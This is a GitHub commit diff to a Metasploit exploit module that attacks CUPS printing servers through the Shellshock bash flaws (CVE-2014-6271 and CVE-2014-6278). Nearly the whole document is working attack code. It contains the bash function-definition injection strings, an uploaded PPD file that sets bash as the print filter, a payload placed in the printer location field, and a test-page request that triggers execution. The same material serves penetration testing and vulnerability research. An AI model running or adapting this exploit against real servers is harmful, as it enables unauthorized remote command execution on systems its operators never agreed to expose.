Skip to content

Commit 554935e

Browse files
committed
Add check() and support CVE-2014-6278
1 parent 0ede70e commit 554935e

File tree

1 file changed

+150
-92
lines changed

1 file changed

+150
-92
lines changed

modules/exploits/multi/http/cups_bash_env_exec.rb

Lines changed: 150 additions & 92 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66
require 'msf/core'
77

88
class Metasploit4 < Msf::Exploit::Remote
9-
Rank = ExcellentRanking
9+
Rank = GoodRanking
1010
include Msf::Exploit::Remote::HttpClient
1111

1212
def initialize(info = {})
@@ -19,10 +19,12 @@ def initialize(info = {})
1919
},
2020
'Author' => [
2121
'Stephane Chazelas', # Vulnerability discovery
22+
'lcamtuf', # CVE-2014-6278
2223
'Brendan Coles <bcoles[at]gmail.com>' # msf
2324
],
2425
'References' => [
2526
['CVE', '2014-6271'],
27+
['CVE', '2014-6278'],
2628
['EDB', '34765'],
2729
['URL', 'https://access.redhat.com/articles/1200223'],
2830
['URL', 'http://seclists.org/oss-sec/2014/q3/649']
@@ -32,178 +34,234 @@ def initialize(info = {})
3234
'Platform' => 'unix',
3335
'Payload' =>
3436
{
35-
'Space' => 1024,
36-
'BadChars' => "\x00\x0A\x0D\x22",
37-
'DisableNops' => true,
37+
'Space' => 1024,
38+
'BadChars' => "\x00\x0A\x0D",
39+
'DisableNops' => true
3840
},
39-
'Compat' =>
41+
'Compat' =>
4042
{
4143
'PayloadType' => 'cmd',
42-
'RequiredCmd' => 'generic bash netcat perl',
44+
'RequiredCmd' => 'generic bash awk ruby'
4345
},
44-
# Tested on CUPS 1.4.3
45-
'Targets' =>
46-
[
47-
[
48-
'Automatic Targeting', { 'auto' => true }
49-
],
50-
],
46+
# Tested on CUPS 1.4.3 and 1.5.3
47+
'Targets' => [[ 'Automatic Targeting', { 'auto' => true } ]],
5148
'DefaultTarget' => 0,
5249
'DisclosureDate' => 'Sep 24 2014',
5350
'License' => MSF_LICENSE
5451
))
5552
register_options([
5653
Opt::RPORT(631),
57-
OptString.new('USERNAME', [ true, 'CUPS username', '']),
58-
OptString.new('PASSWORD', [ true, 'CUPS password', ''])
54+
OptBool.new('SSL', [ true, 'Use SSL', true ]),
55+
OptString.new('USERNAME', [ true, 'CUPS username', 'root']),
56+
OptString.new('PASSWORD', [ true, 'CUPS user password', '']),
57+
OptEnum.new('CVE', [ true, 'CVE to exploit', 'CVE-2014-6271', ['CVE-2014-6271', 'CVE-2014-6278'] ]),
58+
OptString.new('RPATH', [ true, 'Target PATH for binaries', '/bin' ])
5959
], self.class)
6060
end
6161

6262
#
63-
# Check
63+
# CVE-2014-6271
64+
#
65+
def cve_2014_6271(cmd)
66+
%{() { :;}; $(#{cmd}) & }
67+
end
68+
69+
#
70+
# CVE-2014-6278
71+
#
72+
def cve_2014_6278(cmd)
73+
%{() { _; } >_[$($())] { $(#{cmd}) & }}
74+
end
75+
76+
#
77+
# Check credentials
6478
#
6579
def check
66-
Exploit::CheckCode::Unknown
80+
@cookie = rand_text_alphanumeric(16)
81+
printer_name = rand_text_alphanumeric(10 + rand(5))
82+
res = add_printer(printer_name, '')
83+
if !res
84+
vprint_error("#{peer} - No response from host")
85+
return Exploit::CheckCode::Unknown
86+
elsif res.body =~ /Set Default Options for #{printer_name}/
87+
vprint_good("#{peer} - Added printer successfully")
88+
delete_printer(printer_name)
89+
return Exploit::CheckCode::Detected
90+
elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
91+
vprint_error("#{peer} - Authentication failed")
92+
return Exploit::CheckCode::Detected
93+
elsif res.code == 426
94+
vprint_error("#{peer} - SSL required - set SSL true")
95+
return Exploit::CheckCode::Detected
96+
else
97+
return Exploit::CheckCode::Safe
98+
end
6799
end
68100

69101
#
70102
# Exploit
71103
#
72104
def exploit
73105
@cookie = rand_text_alphanumeric(16)
74-
printer_name = rand_text_alphanumeric(10)
106+
printer_name = rand_text_alphanumeric(10 + rand(5))
107+
108+
# Select target CVE
109+
case datastore['CVE']
110+
when 'CVE-2014-6278'
111+
cmd = cve_2014_6278(payload.raw)
112+
else
113+
cmd = cve_2014_6271(payload.raw)
114+
end
75115

76-
# Create a printer with a CUPS filter pointing to /bin/bash
77-
res = create_printer(printer_name)
116+
# Add a printer containing the payload
117+
# with a CUPS filter pointing to /bin/bash
118+
res = add_printer(printer_name, cmd)
78119
if !res
79-
print_error("#{peer} - Request failed")
80-
return
81-
elsif res.code == 426
82-
print_error("#{peer} - Authentication failed")
83-
return
120+
fail_with(Failure::Unreachable, "#{peer} - Could not add printer - Connection failed.")
84121
elsif res.body =~ /Set Default Options for #{printer_name}/
85-
print_good("#{peer} - Created printer successfully")
122+
print_good("#{peer} - Added printer successfully")
123+
elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
124+
fail_with(Failure::NoAccess, "#{peer} - Could not add printer - Authentication failed.")
125+
elsif res.code == 426
126+
fail_with(Failure::BadConfig, "#{peer} - Could not add printer - SSL required - set SSL true.")
127+
else
128+
fail_with(Failure::Unknown, "#{peer} - Could not add printer.")
86129
end
87130

88-
# Request a printer test page.
131+
# Add a test page to the print queue.
89132
# The print job triggers execution of the bash filter
90-
# which executes the payload in the env vars.
133+
# which executes the payload in the environment variables.
91134
res = print_test_page(printer_name)
92-
if !res || res.code != 200
93-
print_error("#{peer} - Request failed")
94-
return
95-
end
96-
if res.body =~ /Test page sent; job ID is/
97-
print_status "#{peer} - Test page sent successfully"
135+
if !res
136+
fail_with(Failure::Unreachable, "#{peer} - Could not add test page to print queue - Connection failed.")
137+
elsif res.body =~ /Test page sent; job ID is/
138+
vprint_good("#{peer} - Added test page to printer queue")
139+
elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
140+
fail_with(Failure::NoAccess, "#{peer} - Could not add test page to print queue - Authentication failed.")
141+
elsif res.code == 426
142+
fail_with(Failure::BadConfig, "#{peer} - Could not add test page to print queue - SSL required - set SSL true.")
143+
else
144+
fail_with(Failure::Unknown, "#{peer} - Could not add test page to print queue.")
98145
end
99146

100147
# Delete the printer
101148
res = delete_printer(printer_name)
102-
if !res || res.code != 200
103-
print_error("#{peer} - Request failed")
104-
return
105-
end
106-
if res.body =~ /has been deleted successfully/
107-
print_status "#{peer} - Deleted printer '#{printer_name}' successfully"
149+
if !res
150+
fail_with(Failure::Unreachable, "#{peer} - Could not delete printer - Connection failed.")
151+
elsif res.body =~ /has been deleted successfully/
152+
print_status("#{peer} - Deleted printer '#{printer_name}' successfully")
153+
elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
154+
vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - Authentication failed.")
155+
elsif res.code == 426
156+
vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - SSL required - set SSL true.")
157+
else
158+
vprint_warning("#{peer} - Could not delete printer '#{printer_name}'")
108159
end
109160
end
110161

111162
#
112-
# Create a printer
163+
# Add a printer to CUPS
113164
#
114-
def create_printer printer_name
115-
print_status "#{peer} - Creating printer '#{printer_name}'"
165+
def add_printer(printer_name, cmd)
166+
vprint_status("#{peer} - Adding new printer '#{printer_name}'")
116167

168+
ppd_name = "#{rand_text_alphanumeric(10 + rand(5))}.ppd"
117169
ppd_file = <<-EOF
118170
*PPD-Adobe: "4.3"
119171
*%==== General Information Keywords ========================
120172
*FormatVersion: "4.3"
121173
*FileVersion: "1.00"
122174
*LanguageVersion: English
123175
*LanguageEncoding: ISOLatin1
124-
*PCFileName: "MFC3820CN.PPD"
176+
*PCFileName: "#{ppd_name}"
125177
*Manufacturer: "Brother"
126178
*Product: "(Brother MFC-3820CN)"
127179
*1284DeviceID: "MFG:Brother;MDL:MFC-3820CN"
128180
*cupsVersion: 1.1
129181
*cupsManualCopies: False
130-
*cupsFilter: "application/vnd.cups-postscript 0 ../../../../../../../../../../bin/bash"
131-
*cupsModelNumber: 5
182+
*cupsFilter: "application/vnd.cups-postscript 0 #{datastore['RPATH']}/bash"
183+
*cupsModelNumber: #{rand(10) + 1}
132184
*ModelName: "Brother MFC-3820CN"
133185
*ShortNickName: "Brother MFC-3820CN"
134186
*NickName: "Brother MFC-3820CN CUPS v1.1"
135-
*PSVersion: "(3010.106) 3"
136187
*%
137-
EOF
188+
*%==== Basic Device Capabilities =============
189+
*LanguageLevel: "3"
190+
*ColorDevice: True
191+
*DefaultColorSpace: RGB
192+
*FileSystem: False
193+
*Throughput: "12"
194+
*LandscapeOrientation: Plus90
195+
*VariablePaperSize: False
196+
*TTRasterizer: Type42
197+
*FreeVM: "1700000"
138198
139-
shock = "() { :;}; /bin/bash -c \"#{payload.raw} &\""
199+
*DefaultOutputOrder: Reverse
200+
*%==== Media Selection ======================
201+
202+
*OpenUI *PageSize/Media Size: PickOne
203+
*OrderDependency: 18 AnySetup *PageSize
204+
*DefaultPageSize: BrLetter
205+
*PageSize BrA4/A4: "<</PageSize[595 842]/ImagingBBox null>>setpagedevice"
206+
*PageSize BrLetter/Letter: "<</PageSize[612 792]/ImagingBBox null>>setpagedevice"
207+
EOF
140208

141209
pd = Rex::MIME::Message.new
142-
pd.add_part(ppd_file, "application/octet-stream", nil, "form-data; name=\"PPD_FILE\"; filename=\"#{rand_text_alphanumeric(10)}.ppd\"")
143-
pd.add_part("#{@cookie}", nil, nil, "form-data; name=\"org.cups.sid\"")
144-
pd.add_part("add-printer", nil, nil, "form-data; name=\"OP\"")
145-
pd.add_part("#{printer_name}", nil, nil, "form-data; name=\"printer_name\"")
146-
pd.add_part("#{printer_name}", nil, nil, "form-data; name=\"PRINTER_NAME\"")
147-
pd.add_part("", nil, nil, "form-data; name=\"PRINTER_INFO\"") # injectable
148-
pd.add_part("#{shock}", nil, nil, "form-data; name=\"PRINTER_LOCATION\"") # injectable
149-
pd.add_part("file:///dev/null", nil, nil, "form-data; name=\"DEVICE_URI\"")
150-
pd.add_part('', nil, nil, "form-data; name=\"PRINTER_IS_SHARED\"")
151-
pd.add_part('262144', nil, nil, "form-data; name=\"MAX_FILE_SIZE\"") # default value
210+
pd.add_part(ppd_file, 'application/octet-stream', nil, %(form-data; name="PPD_FILE"; filename="#{ppd_name}"))
211+
pd.add_part("#{@cookie}", nil, nil, %(form-data; name="org.cups.sid"))
212+
pd.add_part("add-printer", nil, nil, %(form-data; name="OP"))
213+
pd.add_part("#{printer_name}", nil, nil, %(form-data; name="PRINTER_NAME"))
214+
pd.add_part("", nil, nil, %(form-data; name="PRINTER_INFO")) # injectable
215+
pd.add_part("#{cmd}", nil, nil, %(form-data; name="PRINTER_LOCATION")) # injectable
216+
pd.add_part("file:///dev/null", nil, nil, %(form-data; name="DEVICE_URI"))
152217

153218
data = pd.to_s
154219
data.strip!
155220

156-
res = send_request_cgi({
221+
send_request_cgi(
157222
'method' => 'POST',
158223
'uri' => normalize_uri(target_uri.path, 'admin'),
159224
'ctype' => "multipart/form-data; boundary=#{pd.bound}",
160225
'data' => data,
161226
'cookie' => "org.cups.sid=#{@cookie};",
162-
'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD']),
163-
})
164-
165-
return res
227+
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
228+
)
166229
end
167230

168231
#
169-
# Print a test page
232+
# Queue a printer test page
170233
#
171-
def print_test_page printer_name
172-
print_status "#{peer} - Requesting printer test page"
173-
res = send_request_cgi(
174-
{
175-
'method' => 'POST',
176-
'uri' => normalize_uri(target_uri.path,'printers',printer_name),
177-
'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD']),
178-
'cookie' => "org.cups.sid=#{@cookie}",
179-
'vars_post' => {
180-
'org.cups.sid' => @cookie,
181-
'OP' => 'print-test-page'
182-
}
234+
def print_test_page(printer_name)
235+
vprint_status("#{peer} - Adding test page to printer queue")
236+
send_request_cgi(
237+
'method' => 'POST',
238+
'uri' => normalize_uri(target_uri.path, 'printers', printer_name),
239+
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
240+
'cookie' => "org.cups.sid=#{@cookie}",
241+
'vars_post' => {
242+
'org.cups.sid' => @cookie,
243+
'OP' => 'print-test-page'
183244
}
184245
)
185-
return res
186246
end
187247

188248
#
189249
# Delete a printer
190250
#
191-
def delete_printer printer_name
192-
res = send_request_cgi(
193-
{
194-
'method' => 'POST',
195-
'uri' => normalize_uri(target_uri.path,'admin'),
196-
'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD']),
197-
'cookie' => "org.cups.sid=#{@cookie}",
198-
'vars_post' => {
199-
'org.cups.sid' => @cookie,
200-
'OP' => 'delete-printer',
201-
'printer_name' => printer_name,
202-
'confirm' => 'Delete Printer'
203-
}
251+
def delete_printer(printer_name)
252+
vprint_status("#{peer} - Deleting printer '#{printer_name}'")
253+
send_request_cgi(
254+
'method' => 'POST',
255+
'uri' => normalize_uri(target_uri.path, 'admin'),
256+
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
257+
'cookie' => "org.cups.sid=#{@cookie}",
258+
'vars_post' => {
259+
'org.cups.sid' => @cookie,
260+
'OP' => 'delete-printer',
261+
'printer_name' => printer_name,
262+
'confirm' => 'Delete Printer'
204263
}
205264
)
206-
return res
207265
end
208266

209267
end

0 commit comments

Comments
 (0)